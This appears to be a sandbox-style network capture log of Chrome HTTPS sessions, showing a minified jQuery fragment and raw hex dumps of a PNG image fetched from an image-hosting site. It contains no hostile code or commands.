2025-03-20 10:44:28 UTC	16384	IN	Data Raw: 21 3d 3d 6c 26 26 22 74 65 78 74 61 72 65 61 22 21 3d 3d 6c 7c 7c 28 75 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 3d 73 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 29 3b 69 66 28 74 29 69 66 28 6e 29 66 6f 72 28 6f 3d 6f 7c 7c 79 65 28 65 29 2c 61 3d 61 7c 7c 79 65 28 63 29 2c 72 3d 30 2c 69 3d 6f 2e 6c 65 6e 67 74 68 3b 72 3c 69 3b 72 2b 2b 29 4c 65 28 6f 5b 72 5d 2c 61 5b 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 79 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 76 65 28 61 2c 21 66 26 26 79 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 Data Ascii: !==l&&"textarea"!==l\|\|(u.defaultValue=s.defaultValue);if(t)if(n)for(o=o\|\|ye(e),a=a\|\|ye(c),r=0,i=o.length;r<i;r++)Le(o[r],a[r]);else Le(e,c);return 0<(a=ye(c,"script")).length&&ve(a,!f&&ye(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.speci
2025-03-20 10:44:28 UTC	16384	IN	Data Raw: 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 29 2e 76 61 6c 75 65 3d 22 74 22 2c 72 74 2e 74 79 70 65 3d 22 72 61 64 69 6f 22 2c 76 2e 72 61 64 69 6f 56 61 6c 75 65 3d 22 74 22 3d 3d 3d 72 74 2e 76 61 6c 75 65 3b 76 61 72 20 70 74 2c 64 74 3d 53 2e 65 78 70 72 2e 61 74 74 72 48 61 6e 64 6c 65 3b 53 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 42 28 74 68 69 73 2c 53 2e 61 74 74 72 2c 65 2c 74 2c 31 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7d 2c 72 65 6d 6f 76 65 41 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 53 2e 72 65 6d 6f 76 65 41 74 74 72 28 74 68 69 73 2c 65 Data Ascii: .createElement("input")).value="t",rt.type="radio",v.radioValue="t"===rt.value;var pt,dt=S.expr.attrHandle;S.fn.extend({attr:function(e,t){return B(this,S.attr,e,t,1<arguments.length)},removeAttr:function(e){return this.each(function(){S.removeAttr(this,e
2025-03-20 10:44:28 UTC	7875	IN	Data Raw: 65 74 43 6c 69 65 6e 74 52 65 63 74 73 28 29 2e 6c 65 6e 67 74 68 29 7d 2c 53 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 78 68 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 43 2e 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 7d 63 61 74 63 68 28 65 29 7b 7d 7d 3b 76 61 72 20 5f 74 3d 7b 30 3a 32 30 30 2c 31 32 32 33 3a 32 30 34 7d 2c 7a 74 3d 53 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 78 68 72 28 29 3b 76 2e 63 6f 72 73 3d 21 21 7a 74 26 26 22 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 22 69 6e 20 7a 74 2c 76 2e 61 6a 61 78 3d 7a 74 3d 21 21 7a 74 2c 53 2e 61 6a 61 78 54 72 61 6e 73 70 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 6f 2c 61 3b 69 66 28 76 2e 63 6f 72 73 7c 7c 7a 74 26 26 21 69 2e 63 72 6f Data Ascii: etClientRects().length)},S.ajaxSettings.xhr=function(){try{return new C.XMLHttpRequest}catch(e){}};var _t={0:200,1223:204},zt=S.ajaxSettings.xhr();v.cors=!!zt&&"withCredentials"in zt,v.ajax=zt=!!zt,S.ajaxTransport(function(i){var o,a;if(v.cors\|\|zt&&!i.cro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49735	207.174.26.219	443	6984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-20 10:44:28 UTC	596	OUT	GET /LzTQVcnV/background.png HTTP/1.1 Host: i.ibb.co Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 10:44:29 UTC	380	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 20 Mar 2025 10:44:29 GMT Content-Type: image/png Content-Length: 169555 Connection: close Last-Modified: Thu, 06 Feb 2025 00:13:06 GMT Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Cache-Control: public Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Accept-Ranges: bytes
2025-03-20 10:44:29 UTC	3716	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 80 00 00 01 77 08 06 00 00 00 35 b2 fa 1f 00 00 00 b4 65 58 49 66 49 49 2a 00 08 00 00 00 06 00 12 01 03 00 01 00 00 00 01 00 00 00 1a 01 05 00 01 00 00 00 56 00 00 00 1b 01 05 00 01 00 00 00 5e 00 00 00 28 01 03 00 01 00 00 00 02 00 00 00 13 02 03 00 01 00 00 00 01 00 00 00 69 87 04 00 01 00 00 00 66 00 00 00 00 00 00 00 d9 76 01 00 e8 03 00 00 d9 76 01 00 e8 03 00 00 06 00 00 90 07 00 04 00 00 00 30 32 31 30 01 91 07 00 04 00 00 00 01 02 03 00 00 a0 07 00 04 00 00 00 30 31 30 30 01 a0 03 00 01 00 00 00 ff ff 00 00 02 a0 04 00 01 00 00 00 80 02 00 00 03 a0 04 00 01 00 00 00 77 01 00 00 00 00 00 00 57 eb 39 9d 00 00 00 09 70 48 59 73 00 00 0e c2 00 00 0e c2 01 15 28 4a 80 00 00 20 00 49 44 41 54 78 Data Ascii: PNGIHDRw5eXIfII*V^(ifvv02100100wW9pHYs(J IDATx
2025-03-20 10:44:29 UTC	4096	IN	Data Raw: e8 cd 8e 43 c3 e1 75 c8 dc b6 1f 65 01 89 8e 56 bb c6 6e 97 b8 e4 8a 72 4d 51 c0 1f 7d f4 11 df 2a 8d d2 c0 10 14 91 26 8e 60 8b 7c f4 28 b2 96 52 ab 50 a2 66 4a e1 42 a6 61 d2 a4 91 50 62 68 82 3a 12 ca 05 48 50 f6 de 7b ef f1 73 08 b0 c8 14 4b e9 5c e8 3b 8a 14 26 5f 41 8a c0 a5 a8 5c 0a d8 20 7f 3e 32 e9 52 a4 31 25 a5 a6 1c 7d a4 19 24 3f 41 4a 1a 4d e7 d1 bf 67 cf 9e cd 01 90 0e fa fd b3 cf 3e 7b 21 0d cc f4 28 60 0a 3e a1 fa 53 7a 1a aa 33 d5 9f da 41 ed a1 00 13 4a 6f 43 26 6f 6a 87 0b 00 ff 39 85 34 19 24 fd 35 25 c8 7c eb 51 d4 78 7b a2 b5 a2 0b ba 3e ad e3 fb 2f 09 39 e4 cb 44 32 d4 2d 85 38 d4 07 05 7b f6 20 7f e7 2e 54 fb 9c 43 6d c0 79 b4 e7 e4 a3 d6 cf 17 71 2f 3e 82 88 b7 97 23 6c fe 7a 0c 69 07 1d 5a ba ab 5c cb 01 41 63 18 64 fd 58 56 58 Data Ascii: CueVnrMQ}*&`\|(RPfJBaPbh:HP{sK\;&_A\ >2R1%}$?AJMg>{!(`>Sz3AJoC&oj94$5%\|Qx{>/9D2-8{ .TCmyq/>#lziZ\AcdXVX
2025-03-20 10:44:29 UTC	4096	IN	Data Raw: d4 41 3b 90 50 39 df fa d6 b7 b8 9f 21 45 f5 fe f9 cf 7f e6 5a 3f ba 0e e5 02 a4 2d e2 08 f6 a8 7c d2 32 52 3e 40 32 09 93 66 8f b4 8b d3 eb 4b f5 9f de 06 32 43 53 94 30 f9 1e 5a 2c 16 fe a7 cb f4 fb f5 8a 53 03 a8 6f ae 80 22 23 10 45 6e 27 11 f7 d1 6e 88 e2 e2 50 7d fc 30 42 ef bf 0d 69 ab 57 43 70 8a c1 42 62 26 f7 43 6b f1 3b 81 b2 9d eb 11 b7 f1 08 aa c3 92 f9 f9 97 3a a2 3b 92 d8 92 af 20 81 1e 69 f2 2c fd fd 0c 0e e4 d0 b5 49 b8 29 b6 b7 48 80 aa 43 db 51 b8 6d 1d 7c 67 3d 8b e8 77 97 a0 31 3c 02 b5 fe 7e a8 0b f0 43 e5 a9 93 a8 3c 79 92 4d 78 1e 10 06 04 43 af d2 b1 09 c9 e6 2c fe 22 a8 d9 6d 6c 62 3f 80 2a 8f 53 a8 0e 4d 44 c1 0e 06 83 8b 5f 43 c5 59 7f 08 a3 33 d1 25 c8 47 77 61 01 5a 93 33 a1 a8 6b c2 90 4a 8d 51 b3 33 8d ca 0c 90 36 39 0e b3 Data Ascii: A;P9!EZ?-\|2R>@2fK2CS0Z,So"#En'nP}0BiWCpBb&Ck;:; i,I)HCQm\|g=w1<~C<yMxC,"mlb?*SMD_CY3%GwaZ3kJQ369
2025-03-20 10:44:29 UTC	4096	IN	Data Raw: 35 03 e1 49 06 92 d5 e5 c5 28 2b 2e 40 7e 41 29 aa 6a ea f9 7c 33 38 64 44 9b 88 2d 78 07 8d 18 34 13 28 9b 31 62 19 e2 ed 68 6f 93 32 18 65 ef d0 ff 72 7c bf 6a 10 08 41 16 99 6b 29 22 77 f1 e2 c5 f0 f7 f7 e7 da 39 f2 ab 23 ad 1b 69 04 09 98 28 c8 83 b6 64 a3 84 ce 99 99 99 fc 5c ca 0d e8 34 eb 92 2f 21 99 60 49 d3 47 50 48 60 77 fa f4 69 0e 73 b4 ab 07 c1 19 69 e9 28 65 cb ea d5 ab 79 8e 3f da b5 83 c0 8c a0 8d c0 91 c0 92 ca 24 ed 23 41 e1 8b 2f be c8 23 8d 29 80 84 c0 8f 12 45 13 dc 91 46 8f 82 45 48 d3 47 d7 25 cd 1e c1 23 a5 a8 21 df 42 d2 50 7a 78 78 70 c0 24 0d 26 69 20 c9 07 91 22 92 bb bb bb b9 46 b1 9a 3d 48 f2 59 e4 0f db 15 0c f2 b5 8a 33 bf 57 d5 b1 c3 88 79 e9 59 ee 8b 57 72 f0 00 42 ee ff 2b 32 d6 ac 41 b9 df 79 54 78 9e 41 9d ef 19 e4 ed Data Ascii: 5I(+.@~A)j\|38dD-x4(1bho2er\|jAk)"w9#i(d\4/!`IGPH`wisi(ey?$#A/#)EFEHG%#!BPzxxp$&i "F=HY3WyYWrB+2AyTxA
2025-03-20 10:44:29 UTC	4096	IN	Data Raw: 04 43 ce e8 24 6a b6 8a 12 2c 7f 0b 2d 91 91 e8 65 83 96 41 3d c8 cd a2 94 2c 77 dc ee 30 43 5a d9 44 a1 2a 4c c3 40 53 23 1b d8 b4 6c a5 77 f5 14 2b 8e 5d 36 1c da 16 63 77 27 42 ef bd 05 59 ab 96 43 cd 06 14 fb 97 00 c0 89 d1 61 d8 cd 06 b4 c7 b3 95 7e 74 1c 8f c2 d4 75 76 f3 ef ba 52 a3 20 3a 77 14 71 f3 d8 44 b7 7a 03 ca fc e2 79 24 26 69 8b e8 1a 3c fd cd f4 6d e6 9c 26 b8 01 05 b4 f5 e5 e8 ca 4d 67 50 e9 8f 9c 1d bb 50 ca 06 c5 be 9a 5a f4 14 09 a0 2c 4a e4 29 5f 92 d6 ee e5 7b 1b 93 59 ad 29 3c 0c 62 06 4e 03 ed 5d d0 76 f6 c0 4c 5a 33 eb 28 df 1d e5 4b 03 e0 d4 04 d5 93 15 8f c6 d3 bb 20 d8 ef 86 f4 ad 07 a1 e9 55 31 48 13 c1 cc 56 bc ba 75 1b f9 0e 18 ca 39 af 43 f5 de 12 08 e7 2f 40 c5 da 8d 68 72 f3 40 77 74 12 ac 6d 9d 18 55 39 f6 44 b6 a9 a4 Data Ascii: C$j,-eA=,w0CZD*L@S#lw+]6cw'BYCa~tuvR :wqDzy$&i<m&MgPPZ,J)_{Y)<bN]vLZ3(K U1HVu9C/@hr@wtmU9D
2025-03-20 10:44:29 UTC	4096	IN	Data Raw: e3 56 b4 65 e6 a0 ab b8 11 6c ce d1 54 81 a6 87 6e c6 e6 6f 5c 8a db 5f f7 3a 6c fc c1 cf 50 f0 e8 73 18 28 ad 42 c8 e3 9b 4d 00 d3 f7 e1 58 f6 16 54 dc 75 23 0e 3c b1 11 35 9b b2 95 0f 4d 40 26 be 89 aa 4c 95 f4 78 f7 ed 8f aa a0 81 49 19 cf 44 c5 6e f4 6e 5f 83 85 ff 79 15 72 0c 6d c8 89 3a c2 a7 3b 64 ab ca 86 69 df 0b 58 78 e1 85 d8 7e d6 3b 30 f8 86 7f 82 e9 ea ff 85 6f e1 52 84 64 32 8f 4d 38 11 aa a9 15 a2 d6 95 7e 4f 4f cd 22 f1 f1 f1 5e 98 73 36 63 d3 8f 7f 81 5d 3f fb 05 4a 7f 76 2d f2 7f 72 0d f2 ae bd 06 9b 2e fb 16 96 7f f9 7b aa 06 2e d4 b5 4f 1c e6 a3 16 19 aa 85 af 25 0f eb fe f7 16 ac bd fa 66 55 07 ba fa e1 bf 60 d7 b5 3f c3 fa 2b ff 0b ab 2f be 14 99 37 dc 88 fd bf fb 3d f6 cb b3 7d e0 56 21 da 7f bd 0f 05 f7 dc 2b 72 8f 4a 8d b2 f7 97 Data Ascii: VelTno\_:lPs(BMXTu#<5M@&LxIDnn_yrm:;diXx~;0oRd2M8~OO"^s6c]?Jv-r.{.O%fU`?+/7=}V!+rJ
2025-03-20 10:44:29 UTC	4096	IN	Data Raw: db ba 1d d1 31 13 22 3d 7d 08 77 76 2b ed 96 01 fe 9f a6 cd 50 73 2b 82 2d ad f0 97 95 c3 9b 95 a5 34 82 91 ee de e3 32 ef bd da 61 10 40 96 97 8b 0b b9 53 29 5c 84 e0 c5 5c 2e 44 e4 fa 78 73 f2 e1 2d 28 84 af b0 08 fe 8a 2a 84 84 0c 1a 5a 3d 83 00 fa 73 f3 94 06 90 be 92 8e 1f ff 14 d6 8f 7d 0a 8e eb 6f 80 eb f6 3b 31 19 08 cc 11 0c 72 9a e1 34 b8 0f 34 34 4e 05 1c 95 00 d2 14 4a cd 1a fd 01 e9 37 c7 3c 7f 0c f4 20 a9 a3 39 95 81 13 8c b6 25 e1 bb e0 82 0b 54 44 2e 7d ed 0c 7f 41 c3 67 90 db 98 9e 85 35 7f f9 99 e6 64 12 30 fa dd d9 6c 56 79 e0 69 3e b1 22 ee 2b 42 22 d8 a8 88 5f 22 50 2f 52 97 f6 01 6c 91 89 34 80 64 22 a0 9c 63 97 2f 5f a6 52 c0 90 a4 91 a4 92 08 52 8b c7 1c 82 86 b0 6a 09 83 4d 8c ff d3 5f 90 c1 2a 24 9f 46 1f e9 bb c8 e3 1a 1b 1b d5 Data Ascii: 1"=}wv+Ps+-42a@S)\\.Dxs-(Z=s}o;1r444NJ7< 9%TD.}Ag5d0lVyi>"+B"_"P/Rl4d"c/_RRjM_$F
2025-03-20 10:44:29 UTC	4096	IN	Data Raw: be d1 01 78 86 bb d1 b2 7e 23 4a 1e 7c 1c 25 0f 3d 88 e2 fb ff 86 96 0d 1b 60 6e 6c 46 c0 1f 45 44 d5 f7 9e 44 4f c6 66 94 de 7d 27 f2 ef fd 2b 0a fe fe 10 ca 17 3c 8a 3e b9 cf 48 31 e2 f1 34 01 74 8d c2 db 55 83 ee 82 46 0c 14 55 c0 5a b2 1d 63 55 65 e8 a9 1d 83 cb 6c 10 c0 30 82 76 0b 6a 17 2d 41 d3 0b 6b d1 93 9b 8f 4e 59 38 b4 ad 5b 89 fa d5 eb d0 b4 61 ab f2 65 e3 15 8e 48 1f 63 01 bf 10 c2 b9 2b f0 18 db 5a 5b 5a b0 3d 63 07 1c a6 4e e9 8c 05 db f7 e6 63 f1 fa bd 78 fc a9 c5 28 3d b0 4b 5e cc 2d 28 2e 2c c0 f3 eb f6 20 33 b7 02 79 15 ad d8 b3 61 15 2a 0a 73 60 97 e9 a3 67 78 04 2d 75 05 d8 bb 37 0b 4f 3d 2f 8b 46 21 6f d6 91 3e e4 ca 18 aa 6b aa 60 1d 6c 90 e3 f3 f1 c8 d3 6b 90 b1 fb 00 9a 5a 53 9a 43 be ef 1f 5b f0 14 b6 6c 58 0b 77 7f 19 9a 6b 4b Data Ascii: x~#J\|%=`nlFEDDOf}'+<>H14tUFUZcUel0vj-AkNY8[aeHc+Z[Z=cNcx(=K^-(., 3ya*s`gx-u7O=/F!o>k`lkZSC[lXwkK
2025-03-20 10:44:29 UTC	4096	IN	Data Raw: 77 b0 07 81 71 0b a2 e1 18 86 8a 4a 31 90 57 a8 de 97 7c bf 85 64 7b d8 41 ff b6 c4 dc 49 8d d3 f7 9b cf eb 82 dd 3a 86 d1 91 61 f4 cb fb d4 29 04 ce 1b 8c 20 11 0b ab 77 fe 88 10 24 26 52 96 81 61 dc 6a 51 55 be 06 06 87 61 b3 a7 e6 83 a8 f4 23 1c 70 63 62 c2 8e 81 a1 11 f8 83 a1 19 e3 88 49 47 dd b0 db ac 28 a9 6e 87 c5 e6 9c 3e 35 af 5b 42 ae 0f 13 d1 9b 2c 76 95 90 99 70 4d d8 e0 b4 8f c3 21 fd 70 fb fc 98 94 7e 30 41 75 4f df 88 aa fa 41 b8 6d 26 d8 c6 06 91 9d 57 8a c2 d2 94 52 47 2e 12 4f 28 e7 9a c0 c8 88 09 f1 44 aa 1c 63 2c e2 57 d9 43 c6 cc f6 69 02 e9 b4 99 61 19 ea c6 a8 d9 26 44 d3 a5 82 40 4c c2 43 5a 84 5b d8 27 1c 88 25 53 09 ae 4f 45 cc 4b 00 1f 78 e0 01 65 9e a5 8f 9e 91 1a 85 be 80 ac b2 71 e1 85 17 2a 92 f5 e1 0f 7f 58 69 ea 68 82 65 Data Ascii: wqJ1W\|d{AI:a) w$&RajQUa#pcbIG(n>5[B,vpM!p~0AuOAm&WRG.O(Dc,WCia&D@LCZ['%SOEKxeq*Xihe
2025-03-20 10:44:29 UTC	4096	IN	Data Raw: 8a 53 24 8c 89 84 ea 77 b0 aa 56 d5 44 0e 95 94 a5 c6 47 b2 ba 7d 07 bc 4b 96 c1 f1 ed ef 63 e2 ca ff 81 f5 82 8f c2 fe 8d 6f 2a df bf 28 c7 3c 32 82 29 69 4f 6b fe 34 34 34 5e 2e 1c 73 14 30 cd b8 24 5e 24 50 34 9b 92 08 92 9c 3d ff fc f3 2a 27 20 6b fa 52 4b 47 02 48 bf 3b 82 fe 7a 24 8b 86 c6 90 7f 67 0a f7 e5 5f 92 40 46 eb 92 d0 51 33 48 8d 9e 41 00 8d 92 6d 0c 40 21 98 9c 99 29 60 68 ae a5 99 97 b5 7d 49 00 59 82 8e fe 84 24 80 86 e9 96 66 65 b6 cf 40 15 46 2b 73 1c ac f7 4b 72 c7 80 0f 06 a5 18 a9 66 a8 55 b4 a4 35 0d 5a e3 a7 a1 71 12 c0 20 8c e4 24 42 0c 90 b8 ea 87 b0 fd e7 57 61 79 fd 19 18 bf f0 3f 30 7e d9 95 f0 ad 58 85 a8 3c cb 61 9a 7a 2b ab e1 d9 9a 81 40 71 a9 d2 fa 4d fb f2 cd 78 16 a7 b5 83 f2 9c 3a b7 67 a4 08 60 5e 3e 1c 0b 17 c3 b5 Data Ascii: S$wVDG}Kco(<2)iOk444^.s0$^$P4=' kRKGH;z$g_@FQ3HAm@!)`h}IY$fe@F+sKrfU5Zq $BWay?0~X<az+@qMx:g`^>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49736	207.174.26.219	443	6984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-20 10:44:29 UTC	395	OUT	GET /LzTQVcnV/background.png HTTP/1.1 Host: i.ibb.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 10:44:29 UTC	380	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 20 Mar 2025 10:44:29 GMT Content-Type: image/png Content-Length: 169555 Connection: close Last-Modified: Thu, 06 Feb 2025 00:13:06 GMT Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Cache-Control: public Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Accept-Ranges: bytes
2025-03-20 10:44:29 UTC	3716	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 80 00 00 01 77 08 06 00 00 00 35 b2 fa 1f 00 00 00 b4 65 58 49 66 49 49 2a 00 08 00 00 00 06 00 12 01 03 00 01 00 00 00 01 00 00 00 1a 01 05 00 01 00 00 00 56 00 00 00 1b 01 05 00 01 00 00 00 5e 00 00 00 28 01 03 00 01 00 00 00 02 00 00 00 13 02 03 00 01 00 00 00 01 00 00 00 69 87 04 00 01 00 00 00 66 00 00 00 00 00 00 00 d9 76 01 00 e8 03 00 00 d9 76 01 00 e8 03 00 00 06 00 00 90 07 00 04 00 00 00 30 32 31 30 01 91 07 00 04 00 00 00 01 02 03 00 00 a0 07 00 04 00 00 00 30 31 30 30 01 a0 03 00 01 00 00 00 ff ff 00 00 02 a0 04 00 01 00 00 00 80 02 00 00 03 a0 04 00 01 00 00 00 77 01 00 00 00 00 00 00 57 eb 39 9d 00 00 00 09 70 48 59 73 00 00 0e c2 00 00 0e c2 01 15 28 4a 80 00 00 20 00 49 44 41 54 78 Data Ascii: PNGIHDRw5eXIfII*V^(ifvv02100100wW9pHYs(J IDATx
2025-03-20 10:44:29 UTC	4096	IN	Data Raw: e8 cd 8e 43 c3 e1 75 c8 dc b6 1f 65 01 89 8e 56 bb c6 6e 97 b8 e4 8a 72 4d 51 c0 1f 7d f4 11 df 2a 8d d2 c0 10 14 91 26 8e 60 8b 7c f4 28 b2 96 52 ab 50 a2 66 4a e1 42 a6 61 d2 a4 91 50 62 68 82 3a 12 ca 05 48 50 f6 de 7b ef f1 73 08 b0 c8 14 4b e9 5c e8 3b 8a 14 26 5f 41 8a c0 a5 a8 5c 0a d8 20 7f 3e 32 e9 52 a4 31 25 a5 a6 1c 7d a4 19 24 3f 41 4a 1a 4d e7 d1 bf 67 cf 9e cd 01 90 0e fa fd b3 cf 3e 7b 21 0d cc f4 28 60 0a 3e a1 fa 53 7a 1a aa 33 d5 9f da 41 ed a1 00 13 4a 6f 43 26 6f 6a 87 0b 00 ff 39 85 34 19 24 fd 35 25 c8 7c eb 51 d4 78 7b a2 b5 a2 0b ba 3e ad e3 fb 2f 09 39 e4 cb 44 32 d4 2d 85 38 d4 07 05 7b f6 20 7f e7 2e 54 fb 9c 43 6d c0 79 b4 e7 e4 a3 d6 cf 17 71 2f 3e 82 88 b7 97 23 6c fe 7a 0c 69 07 1d 5a ba ab 5c cb 01 41 63 18 64 fd 58 56 58 Data Ascii: CueVnrMQ}*&`\|(RPfJBaPbh:HP{sK\;&_A\ >2R1%}$?AJMg>{!(`>Sz3AJoC&oj94$5%\|Qx{>/9D2-8{ .TCmyq/>#lziZ\AcdXVX
2025-03-20 10:44:29 UTC	4096	IN	Data Raw: d4 41 3b 90 50 39 df fa d6 b7 b8 9f 21 45 f5 fe f9 cf 7f e6 5a 3f ba 0e e5 02 a4 2d e2 08 f6 a8 7c d2 32 52 3e 40 32 09 93 66 8f b4 8b d3 eb 4b f5 9f de 06 32 43 53 94 30 f9 1e 5a 2c 16 fe a7 cb f4 fb f5 8a 53 03 a8 6f ae 80 22 23 10 45 6e 27 11 f7 d1 6e 88 e2 e2 50 7d fc 30 42 ef bf 0d 69 ab 57 43 70 8a c1 42 62 26 f7 43 6b f1 3b 81 b2 9d eb 11 b7 f1 08 aa c3 92 f9 f9 97 3a a2 3b 92 d8 92 af 20 81 1e 69 f2 2c fd fd 0c 0e e4 d0 b5 49 b8 29 b6 b7 48 80 aa 43 db 51 b8 6d 1d 7c 67 3d 8b e8 77 97 a0 31 3c 02 b5 fe 7e a8 0b f0 43 e5 a9 93 a8 3c 79 92 4d 78 1e 10 06 04 43 af d2 b1 09 c9 e6 2c fe 22 a8 d9 6d 6c 62 3f 80 2a 8f 53 a8 0e 4d 44 c1 0e 06 83 8b 5f 43 c5 59 7f 08 a3 33 d1 25 c8 47 77 61 01 5a 93 33 a1 a8 6b c2 90 4a 8d 51 b3 33 8d ca 0c 90 36 39 0e b3 Data Ascii: A;P9!EZ?-\|2R>@2fK2CS0Z,So"#En'nP}0BiWCpBb&Ck;:; i,I)HCQm\|g=w1<~C<yMxC,"mlb?*SMD_CY3%GwaZ3kJQ369
2025-03-20 10:44:29 UTC	4096	IN	Data Raw: 35 03 e1 49 06 92 d5 e5 c5 28 2b 2e 40 7e 41 29 aa 6a ea f9 7c 33 38 64 44 9b 88 2d 78 07 8d 18 34 13 28 9b 31 62 19 e2 ed 68 6f 93 32 18 65 ef d0 ff 72 7c bf 6a 10 08 41 16 99 6b 29 22 77 f1 e2 c5 f0 f7 f7 e7 da 39 f2 ab 23 ad 1b 69 04 09 98 28 c8 83 b6 64 a3 84 ce 99 99 99 fc 5c ca 0d e8 34 eb 92 2f 21 99 60 49 d3 47 50 48 60 77 fa f4 69 0e 73 b4 ab 07 c1 19 69 e9 28 65 cb ea d5 ab 79 8e 3f da b5 83 c0 8c a0 8d c0 91 c0 92 ca 24 ed 23 41 e1 8b 2f be c8 23 8d 29 80 84 c0 8f 12 45 13 dc 91 46 8f 82 45 48 d3 47 d7 25 cd 1e c1 23 a5 a8 21 df 42 d2 50 7a 78 78 70 c0 24 0d 26 69 20 c9 07 91 22 92 bb bb bb b9 46 b1 9a 3d 48 f2 59 e4 0f db 15 0c f2 b5 8a 33 bf 57 d5 b1 c3 88 79 e9 59 ee 8b 57 72 f0 00 42 ee ff 2b 32 d6 ac 41 b9 df 79 54 78 9e 41 9d ef 19 e4 ed Data Ascii: 5I(+.@~A)j\|38dD-x4(1bho2er\|jAk)"w9#i(d\4/!`IGPH`wisi(ey?$#A/#)EFEHG%#!BPzxxp$&i "F=HY3WyYWrB+2AyTxA
2025-03-20 10:44:29 UTC	4096	IN	Data Raw: 04 43 ce e8 24 6a b6 8a 12 2c 7f 0b 2d 91 91 e8 65 83 96 41 3d c8 cd a2 94 2c 77 dc ee 30 43 5a d9 44 a1 2a 4c c3 40 53 23 1b d8 b4 6c a5 77 f5 14 2b 8e 5d 36 1c da 16 63 77 27 42 ef bd 05 59 ab 96 43 cd 06 14 fb 97 00 c0 89 d1 61 d8 cd 06 b4 c7 b3 95 7e 74 1c 8f c2 d4 75 76 f3 ef ba 52 a3 20 3a 77 14 71 f3 d8 44 b7 7a 03 ca fc e2 79 24 26 69 8b e8 1a 3c fd cd f4 6d e6 9c 26 b8 01 05 b4 f5 e5 e8 ca 4d 67 50 e9 8f 9c 1d bb 50 ca 06 c5 be 9a 5a f4 14 09 a0 2c 4a e4 29 5f 92 d6 ee e5 7b 1b 93 59 ad 29 3c 0c 62 06 4e 03 ed 5d d0 76 f6 c0 4c 5a 33 eb 28 df 1d e5 4b 03 e0 d4 04 d5 93 15 8f c6 d3 bb 20 d8 ef 86 f4 ad 07 a1 e9 55 31 48 13 c1 cc 56 bc ba 75 1b f9 0e 18 ca 39 af 43 f5 de 12 08 e7 2f 40 c5 da 8d 68 72 f3 40 77 74 12 ac 6d 9d 18 55 39 f6 44 b6 a9 a4 Data Ascii: C$j,-eA=,w0CZD*L@S#lw+]6cw'BYCa~tuvR :wqDzy$&i<m&MgPPZ,J)_{Y)<bN]vLZ3(K U1HVu9C/@hr@wtmU9D
